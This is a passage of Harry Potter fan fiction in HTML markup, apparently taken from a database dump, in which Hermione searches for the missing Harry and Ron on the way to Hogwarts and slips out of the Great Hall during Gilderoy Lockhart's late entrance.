class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;All I&#8217;m saying,&#8221;\nMr. Granger continued, apparently not hearing his wife, &#8220;is that I hope you&#8217;re\nfriend Ron isn&#8217;t as hot headed as his father.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione shook\nher head vehemently. &#8220;Who Ron? &nbsp;No,\nnever.&nbsp; He wouldn&#8217;t hurt a fly.&#8221;</p>\n\n<p class="MsoNormal">Mrs. Granger looked down at her daughter and grinned in a\n&#8220;you&#8217;ve got to stop telling fibs that your father doesn&#8217;t get&#8221; sort of way.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As they made\nthere way to the end of Diagon Alley, Harry back tracked to the Grangers.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, that was\ninvigorating,&#8221; he said with one of his famous half grins.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh so that&#8217;s\nyour idea of fun,&#8221; Hermione quipped back.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So I guess I&#8217;ll\nsee you on the train to Hogwarts,&#8221; he said. &#8220;What are you going to do with the\nrest of your summer&#8230; other than study?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m going to\nfind out if Dobby&#8217;s warning had any merit,&#8221; she said softly so that only he\ncould hear her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione you\nworry too much,&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And I&#8217;m a bossy,\nknow-it-all.&nbsp; Tell me something I don&#8217;t\nknow.&#8221; She smiled. &#8220;But if there&#8217;s even the slightest chance that my best\nfriend&#8217;s in trouble&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah I know&#8230;\nguess I&#8217;ll see you in the library.&#8221; Harry laughed a little but then gave her a\nserious look. &#8220;Glad you&#8217;ve always got my back.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s what I&#8217;m\nhere for,&#8221; she said with a nod.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The group had\nreached the familiar brick wall that would lead them back to the Leaky\nCauldron.&nbsp; It wasn&#8217;t long before the\nHarry and the Weasleys were off to the fireplace to floo back home and Hermione\nand her family were headed back down Charing Cross Road to take the train\nhome.&nbsp; It would be another week before she\nwould be able to see her friends again, onboard the Hogwarts Express.&nbsp; Until then, Hermione realized she had a lot\nof work to do.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(241, 4, ' <p><b>Author&#8217;s Note:</b>&nbsp; &#8220;Where the HELL have you been?&#8221; you might be asking me.&nbsp; My only defense is, you try getting a book published and doing ANYTHING else in your spare time.&nbsp; It&#8217;s impossible!&nbsp; But now the process is almost over.&nbsp; I think my book will be out in February.&nbsp; I still have some finishing touches to work out with the publishers but hopefully we can get it done quickly.&nbsp; Wish me luck.&nbsp; In the mean time, back to my fan fiction.&nbsp; I&#8217;m sorry this chapter is so short, I&#8217;ll do better next time.&nbsp; Also if you want to find out about my book, visit <a href="http://www.mendala.com/">www.mendala.com</a>, you can read the first 7 chapters online for free and as soon as I know when the book is out, I&#8217;ll post it on my site.</p>\n\n<p><b>Chapter Summary:</b>&nbsp; This covers the train trip to Hogwarts from Hermione&#8217;s point of view (isn&#8217;t that funny, considering the whole story is from her POV).&nbsp; What did she do when she found out that Harry and Ron were missing?&nbsp; Also after the excitement, little Ginny has something to ask of Hermione.&nbsp; Will this crazy day ever end?</p>\n\n<center><p>--- Begin Fic Here ---</p></center>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione, is it just me or is this trunk heavier than it was last year?&#8221; Mr. Granger said as he struggled to lift the trunk into the car.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, you always say not to take my education <i>lightly,&#8221;</i> Hermione quipped.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Very funny,&#8221; her father said, clearly not amused. &#8220;Still, I would think an up and coming witch, like yourself, could do something about making this a bit lighter.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sorry Dad, no magic outside of school.&nbsp; Believe me if I could I would.&nbsp; I had to leave my copy of &#8216;Hogwarts: A History&#8217; behind; just not enough room.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How sad,&#8221; her mother said with a mocking smile. &#8220;Now you won&#8217;t get to read it for the four-hundredth time.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione gave her a stunned look. &#8220;Isn&#8217;t there some law that says you&#8217;re supposed to love me no matter what?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I do; teasing you is just part of the perks.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I can&#8217;t believe you people are my family,&#8221; Hermione sighed as she climbed into the backseat of the car.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mrs. Granger took her place in the passenger seat. &#8220;You people?&nbsp; Is that what we&#8217;ve been reduced to?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I tell you, all this magic&#8217;s just gone to her head,&#8221; Mr. Granger added as he started the car.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione rolled her eyes.&nbsp; Her parents seemed to believe that it was their God-given right to harass her as much as possible before sending her off to Hogwarts.&nbsp; It had been the same scene the year before and she feared this sort of abuse would become a permanent family tradition.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Her father started the car down the street. &#8220;So you never told me what your professor said about all the work you did this summer.&nbsp; Any extra credit involved?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Most likely that and more,&#8221; Hermione said. &#8220;But she won&#8217;t grade it until after terms starts; that way she can officially give house points for all my work.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Good show; now all you have to do is keep up the momentum throughout the year.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Haven&#8217;t you lectured her enough about her grades, dear?&#8221; Hermione&#8217;s mother said with a sigh.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s not lecturing,&#8221; Mr. Granger countered. &#8220;If I don&#8217;t encourage her; who will?&nbsp; We have to be the ones to remind her that studies are important.&nbsp; Her friend&#8217;s certainly won&#8217;t.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione zoned out, staring out the back seat window.&nbsp; This was a conversation she could safely be a bystander to.&nbsp; She began to think about what the new school year would bring.&nbsp; The prospect of another year at Hogwarts was both exciting and frightening all at the same time.&nbsp; Harry&#8217;s story about the house elf, Dobby, and the vision that she&#8217;d had all seemed to be pointing towards some sort of inevitable danger.&nbsp; Unfortunately, she was no closer to discovering the truth.&nbsp; There just wasn&#8217;t enough information to go on.&nbsp; She didn&#8217;t even really know what a house elf was.&nbsp; Despite all that she had learned over the past year, there was still a lot she didn&#8217;t know about the magical world.&nbsp; It was just going to take time.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Before she knew it, they were pulling into Kings Cross Station and her father was lugging the huge trunk onto a trolley.&nbsp; It took Hermione a while to get control of the trolley.&nbsp; It really was significantly heavier than the last time she packed for school.&nbsp; As they walked towards platform 9 &#190;, Hermione recalled how nervous she had been the previous summer.&nbsp; She&#8217;d dressed in her wizard&#8217;s robes before she&#8217;d even gotten to the station.&nbsp; This year, she was still in regular muggle clothing and brought her robes with her to change on the train.&nbsp; She didn&#8217;t have to worry about ending up in a compartment with Pansy Parkinson or someone equally hideous, because this year she had friends, Ron and Harry, who she could sit with.&nbsp; All and all, she knew this would be a much better trip.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well here we are dear,&#8221; her mother announced as they reached the barrier between platforms 9 and 10.&nbsp; Hermione quickly hugged both her parents and turned the cart so that it was directed at the barrier.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Send us an owl when you arrive,&#8221; her father said.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I will,&#8221; Hermione assured him before pushing the trolley with all her might towards the barrier.&nbsp; Anyone who was paying attention would have probably thought the young girl had lost her mind, but Hermione, of course, knew better.&nbsp; She was magical and that meant the moment she hit the barrier, she&#8217;d be instantly transported to the hidden wizarding platform where the large scarlet engine, the Hogwarts Express, was waiting.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Almost immediately an attendant came and took her trolley, leaving her free to search for her friends.&nbsp; There were lots of familiar faces milling around the platform but she didn&#8217;t see Harry or the Weasleys in the crowd.&nbsp; The clock on the wall showed that the train would be leaving in a few minutes.&nbsp; She wondered where they could be.&nbsp; Harry and Ron had promised to meet her on the platform.&nbsp; Maybe they were on the train already, holding a compartment.&nbsp; Hermione was about to head for the train when she heard a familiar voice.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oy, Hermione, hold up a bit.&#8221; It was Fred Weasley.&nbsp; He had his brother, George, and his younger sister, Ginny, in tow. &#8220;Blimey, we almost didn&#8217;t make it here in time. &nbsp;Ginny here forgot her diary.&#8221; He rolled his eyes.&nbsp; Ginny looked cross.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;re all going to share a cabin, with you, Harry and Ronnikins,&#8221; George explained.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione wasn&#8217;t sure she liked the idea of sharing a compartment with the two biggest pranksters in Hogwarts, but she nodded anyway. &#8220;What about Percy?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The three Weasleys all groaned at once. &#8220;Perfect Percy rides with the prefects,&#8221; Fred said in a sing-song voice.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mrs. Weasley came up behind them. &#8220;Knock that off.&nbsp; Hurry up and get on the train.&#8221; She kissed all three of them quickly. &#8220;Now you have a wonderful first year Ginny.&nbsp; Where are Harry and Ron?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fred shrugged. &#8220;How should we know?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, we&#8217;re not our brother&#8217;s keeper,&#8221; George added.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I swear you two are impossible.&#8221; She hurried off to find them herself.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fred started towards the train. &#8220;Come on let&#8217;s go and get a spot before their all taken.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Shouldn&#8217;t we wait for Harry and Ron?&#8221; Hermione asked nervously.&nbsp; She tried peering through the crowd to spot her friends but it was far too congested.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fred was trying to push through the sea of people. &#8220;This is a mess.&nbsp; We&#8217;ll find them on the train.&nbsp; They&#8217;re probably already there.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione followed the Weasleys to the Hogwarts Express but she had a nagging feeling that something was very wrong.&nbsp; Still, she didn&#8217;t have much time to debate.&nbsp; The train was getting ready to pull off.&nbsp; With one last furtive look at the platform entrance, Hermione climbed the stairs and followed the Weasley twins inside the locomotive.</p>\n\n<center><p>-----</p></center>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hi Hermione,&#8221; Mandy Brocklehurst said as Hermione slid the door open to the compartment that she and three other girls were sharing.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hi Mandy,&#8221; Hermione said quickly. &#8220;You haven&#8217;t seen Harry or Ron have you?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No I haven&#8217;t.&nbsp; Haven&#8217;t you?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione rolled her eyes and left the cabinet.&nbsp; She&#8217;d been up and down the entire train and hadn&#8217;t found her two friends.&nbsp; She returned dejectedly to the compartment that she was sharing with the Weasleys.<br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;They&#8217;re not on the train anywhere,&#8221; she said in a strained voice.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Maybe they didn&#8217;t make it through the barrier in time,&#8221; Ginny offered. She was the only one who seemed concerned.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The twins on the other hand, were playing a game and didn&#8217;t seem the least bit worried. &#8220;I&#8217;m sure wherever little Ronnie is, he&#8217;ll be alright.&#8221; Fred assured her.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione wasn&#8217;t comforted by these words.&nbsp; She was sure that something had happened to Harry and Ron.&nbsp; After everything Harry had told her in Diagon Alley, it couldn&#8217;t be a coincidence that they didn&#8217;t make it on the train.&nbsp; Someone didn&#8217;t&#8217; want Harry Potter at Hogwarts.&nbsp; Could they have been kidnapped?&nbsp; Could they be hurt somewhere?&nbsp; What if Voldemort somehow got to them?&nbsp; The thought of Harry in danger while she was stuck on this train was infuriating.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ginny tried to look on the bright side. &#8220;Don&#8217;t worry Hermione.&nbsp; This is Harry we&#8217;re talking about.&nbsp; I&#8217;m sure wherever he is; he can take care of himself.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione sighed, <i>&#8220;That girl is so naive.&nbsp; She&#8217;s almost as bad as Ron.&nbsp; She thinks the &#8216;famous Harry Potter&#8217; is immune to all danger.&#8221;</i> She knew Ginny had a crush on Harry, but it seemed like the same kind of crush her roommates Parvati and Padma had.&nbsp; They only saw Harry as a famous wizard, not as a real person.&nbsp; It drove her insane.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; There had to be something she could do to figure out where Harry and Ron were; but what?&nbsp; Hermione stood. &#8220;I&#8217;m going to go look again.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Wait,&#8221; George called before she could leave the compartment. &#8220;If you&#8217;re that concerned about Harry, then I have an idea.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fred looked up at him. &#8220;George!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What? &nbsp;We can do this just once for her.&nbsp; I mean after all, she did help us with some of those essays last year.&#8221; George reasoned.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh alright, but just this once.&#8221; Fred agreed. &#8220;And only because it&#8217;s to help Harry.&#8221;&nbsp; He turned from his twin to the confused bushy-haired girl at the door. &#8220;You&#8217;ll have to wait until we get to school, but if Harry and Ron haven&#8217;t showed up by then, we&#8217;ll be able to find them for you.&nbsp; Chances are they&#8217;re probably hiding out somewhere.&nbsp; Up to something I&#8217;ll wager.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione thought about this for a moment.&nbsp; They could be hiding under the invisibility cloak. &#8220;Well, how are you going to find them if they&#8217;re hiding.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;None of your business, nosey git,&#8221; Fred said quickly. &#8220;Just trust us.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione gave him a quizzical look.&nbsp; She knew plenty of good reasons <i>not</i> to trust the twins.&nbsp; Still, they seemed pretty serious and after the way they pulled off Ron&#8217;s late night birthday party the previous year, she knew Hogwarts was their domain.&nbsp; If they said they could locate Harry and Ron, then they probably could.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She plopped down in the seat again. &#8220;You better not be messing with me,&#8221; she warned.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; George held up his hand sincerely. &#8220;Twins&#8217; honor.&#8221;</p>\n\n<center><p>-----</p></center>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Last year, Hermione had to ride across the lake to reach a lower entrance to Hogwarts castle.&nbsp; Then she was shoved into a small hallway with her classmates where she waited almost breathlessly for the sorting ceremony.&nbsp; But last year, Hermione was a first year at Hogwarts.&nbsp; This year was altogether different.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She joined Parvati, Padma, and Lavender in one of the horseless carriages that took them through the front gates of the Hogwarts grounds.&nbsp; These &#8220;horseless carriages&#8221; weren&#8217;t cars though.&nbsp; They were actual carriages that should have been pulled by horses, but none could be seen.&nbsp; After all she&#8217;d seen in the magical world over the past year, self-steering carriages didn&#8217;t faze Hermione.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&#8220;I&#8217;m so glad I&#8217;m not a first year anymore.&#8221; Padma said as she stuck her hair out the window. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Me too,&#8221; Lavender agreed. &#8220;Bottom of the food chain.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hey Hermione, where&#8217;s Harry?&#8221; Parvati asked the silent passenger.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione had been staring out the window. &#8220;Uh, he and Ron are&#8230; doing something.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Doing something?&#8221; Lavender repeated. &#8220;What could they possibly&#8230;&#8221; Hermione glared at her and she immediately shut up. &#8220;Nevermind, don&#8217;t want to know.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Soon they were disembarking at the castle&#8217;s main entrance.&nbsp; Hermione looked up at the familiar structure with its turrets and towers and realized that she was truly home.&nbsp; Ever since she&#8217;d come to Hogwarts last year, her world had changed.&nbsp; The life she knew before she&#8217;d found out about her magical heritage barely seemed real anymore.&nbsp; She still loved her parents, but all during the summer she felt like there was a piece of her life missing.&nbsp; She&#8217;d felt listless and restless.&nbsp; Now, standing there in front of the stone haven for young wizards and witches, she felt like she was were she truly belonged.&nbsp; Her world felt complete again.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She had just breathed a relaxing sigh when a hand clamped down on her shoulder &#8220;Hermione.&#8221; It was Fred and he had an uncharacteristically worried look on his face. &#8220;Harry and Ron aren&#8217;t here.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What?&#8221; Hermione asked confused.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;They&#8217;re nowhere on the grounds; we just checked.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But how do you&#8230;&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Trust me,&#8221; Fred said in exasperation. &#8220;Wherever Harry and Ron are, they&#8217;re not at Hogwarts.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ve got to find them,&#8221; Hermione turned on her heals, determined to search the whole grounds and even Hogsmeade if she had to.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ms. Granger?&#8221; came a voice from the castle entrance.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione didn&#8217;t need to turn around to recognize the voice.&nbsp; It was Professor McGonagall. <i>&#8220;I thought she&#8217;d be with the first years by now,&#8221;</i> she said silently.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Where are you going?&#8221; McGonagall asked.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh&#8230;&#8221; Hermione thought fast. &#8220;I left something on the train.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Not to worry.&nbsp; Whatever you had on the train has already been brought to your room.&nbsp; Now come along; you don&#8217;t want to miss the feast.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But&#8230;&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Come along, Ms. Granger,&#8221; the teacher said more sternly this time.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione turned around with an angry sulk and followed her teacher back inside. <i>&#8220;What I wouldn&#8217;t give for Harry&#8217;s invisibility cloak right now.&#8221;</i></p>\n\n<center><p>-----</p></center>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The Great Hall was buzzing with excitement as the returning students took their seats at the four house tables.&nbsp; The sorting ceremony would be beginning soon and this was especially exciting for the second years, who would finally have a chance to witness the sorting, as opposed to being a part of it.&nbsp; Parvati and Lavender sat beside Hermione chatting and giggling hysterically but Hermione barely heard any of what they were saying.&nbsp; All she could think of was getting out of the Great Hall as quickly as possible to try and find Harry but this seemed impossible.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione gazed absentmindedly at the staff table.&nbsp; She noticed the absence of not only Hagrid and McGonagall, both presumably working with the first years, but also Snape.&nbsp; Where could he be?&nbsp; Also noticeably absent was Gilderoy Lockhart.&nbsp; Perhaps he had been delayed somehow.&nbsp; After all, he was a world renowned wizard.&nbsp; He probably had some prior obligation. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; After what seemed an eternity, a door opened and the first years, looking scared and anxious, marched in, followed by professor McGonagall carrying a stool and a tattered-looking pointed hat. The entire hall fell silent as McGonagall silently placed stool and hat in front of the line of confused-looking first-year students.&nbsp; All eyes fell on the relic.&nbsp; Even Hermione, whose mind was completely distracted by her present dilemma, was mildly curious at the processions now.&nbsp; For this was no ordinary hat; it was the Hogwarts sorting hat. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; According to &#8220;Hogwarts: A History&#8221; the sorting hat once belonged to Godric Gryffindor, one of the school&#8217;s founders. He endowed the hat with intelligence, so that it could sort the incoming students into the four houses long after the founders were gone.&nbsp; Apparently, he also gave it a superb singing voice and aptitude for lyric writing, because at that moment, a tear at the top of the hat opened wide like a mouth, and the whole hall was filled with singing.</p>\n\n<blockquote>&#8220;Now listen up; I&#8217;ll tell a tale</blockquote>\n\n<blockquote>Of magic folks of fame.</blockquote>\n\n<blockquote>Two witches and two wizards great</blockquote>\n\n<blockquote>And you should know their names</blockquote>\n\n<blockquote></blockquote>\n\n<blockquote>First Slytherin, a pure-blood</blockquote>\n\n<blockquote>Who valued those like he.</blockquote>\n\n<blockquote>Then Ravenclaw, a clever witch</blockquote>\n\n<blockquote>As wise as she could be.</blockquote>\n\n<blockquote></blockquote>\n\n<blockquote>Fare Hufflepuff who wanted</blockquote>\n\n<blockquote>All with magic to unite</blockquote>\n\n<blockquote>And Gryffindor who sought out those</blockquote>\n\n<blockquote>Who were as brave as knights.</blockquote>\n\n<blockquote></blockquote>\n\n<blockquote>Now they are gone but I am here.</blockquote>\n\n<blockquote>I know there minds so well.</blockquote>\n\n<blockquote>So when you place me on your head,</blockquote>\n\n<blockquote>The house you&#8217;re in I&#8217;ll tell.</blockquote>\n\n<blockquote></blockquote>\n\n<blockquote>Only I can sort you out.</blockquote>\n\n<blockquote>Only I can know.</blockquote>\n\n<blockquote>So now that I have sung my song,</blockquote>\n\n<blockquote>Let&#8217;s get on with the show.&#8221;</blockquote>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Everyone applauded, except for the still confused-looking first years.&nbsp; McGonagall had unrolled a long parchment and had just cleared her throat when, without warning, the large doors to the great hall burst open.&nbsp; There, standing in robes of stunning aqua-marine, a huge smile on his face, was Gilderoy Lockhart. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So sorry I&#8217;m late,&#8221; he said loudly. &#8220;There was a huge reception at the Hogsmeade station and I just can&#8217;t say no to my fans.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Everyone in the great hall turned.&nbsp; For a moment, there was a deafening silence.&nbsp; Then there was a great clatter of chairs as half the students, including many of the previously petrified first years went rushing towards Lockhart with loud cheers and whoops.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Please, please!&#8221; Lockhart said loudly, &#8220;One at a time, one at a time. Plenty of autographs for everyone.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was one of the few Gryffindor girls still at the table.&nbsp; Having already gotten an autograph from Lockhart in Diagon Alley, she was not pressed to try to reach her idol through the throng of screaming Hogwarts students.&nbsp; McGonagall, positively livid with rage, went storming past her, obviously intent on restoring decorum to the sacred processions about to commence.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione turned her attention to the staff table and saw other teachers rising to help the deputy head mistress, others were whispering among themselves, but Dumbledore looked mildly amused by the whole thing.&nbsp; He sat, with his fingertips together staring serenely at the bewitched ceiling.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; This gave Hermione an idea. All the staff, students, and even the resident ghosts were completely distracted by Lockhart&#8217;s abrupt entrance.&nbsp; This would be the perfect chance for her to escape and go Harry hunting.&nbsp; All she needed was a way out of the Great Hall.&nbsp; Fred and George were still sitting across from her looking positively bored.&nbsp; They were clearly unimpressed with any distraction that they themselves did not cause.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Fred, George,&#8221; she hissed.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The twins turned to her.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m going to go look for Harry and Ron.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione, we&#8217;ve already told you they&#8217;re not&#8230;&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She cut George off. &#8220;I don&#8217;t care!&nbsp; I&#8217;ll search the whole grounds and Hogsmeade if I have to. I&#8217;m going to find them.&nbsp; But um&#8230;&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fred grinned. &#8220;But you need a way to get out of the Great Hall without being noticed while everyone&#8217;s distracted by that git over there.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh&#8230; yeah.&#8221; Hermione nodded, not bothering to snap at Fred for insulting their newest professor.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; George pointed casually behind him with his thumb. &#8220;See that statue of Gregory the Smarmy over there.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione leaned around to look. There, looking very smug indeed, was a tall statue with the unmistakable likeness of the famous wizard.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Just shake his hand; a passage to the grounds will open up in the floor behind him.&#8221; Fred informed her. &#8220;Lots of people know about it, but hardly anyone uses it, especially since it&#8217;s here in the Great Hall.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks,&#8221; Hermione said jumping to her feet.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No problem,&#8221; Fred called to her as she rushed off towards the statue. &#8220;But this is the last time.&nbsp; After this our debt to you is over.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione gave them one fleeting puzzled look.&nbsp; It had been the second time since she&#8217;d known the twins that they had reminded her of members of some wizard&#8217;s mafia. Dismissing this, she slipped quickly towards the statue of Gregory the Smarmy.&nbsp; She remembered that Gregory was famous for creating a potion that made the drinker think you were their best friend.&nbsp; It was only appropriate to see that the statue depicted him with a huge grin on his face and his hand extended as if he was offering it to someone. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione took another quick look around to make sure the appropriate persons were still distracted, and then took Smarmy&#8217;s hand. To her mild surprise, the statue&#8217;s arm moved easily.&nbsp; She heard the sound of stone moving behind the base and rushed around to find that part of the floor had moved aside to reveal a passage leading down.&nbsp; She ran down the dark sloping stairs, around a tight corner and up another set of stairs and pushed her way up to the middle of the Hogwarts 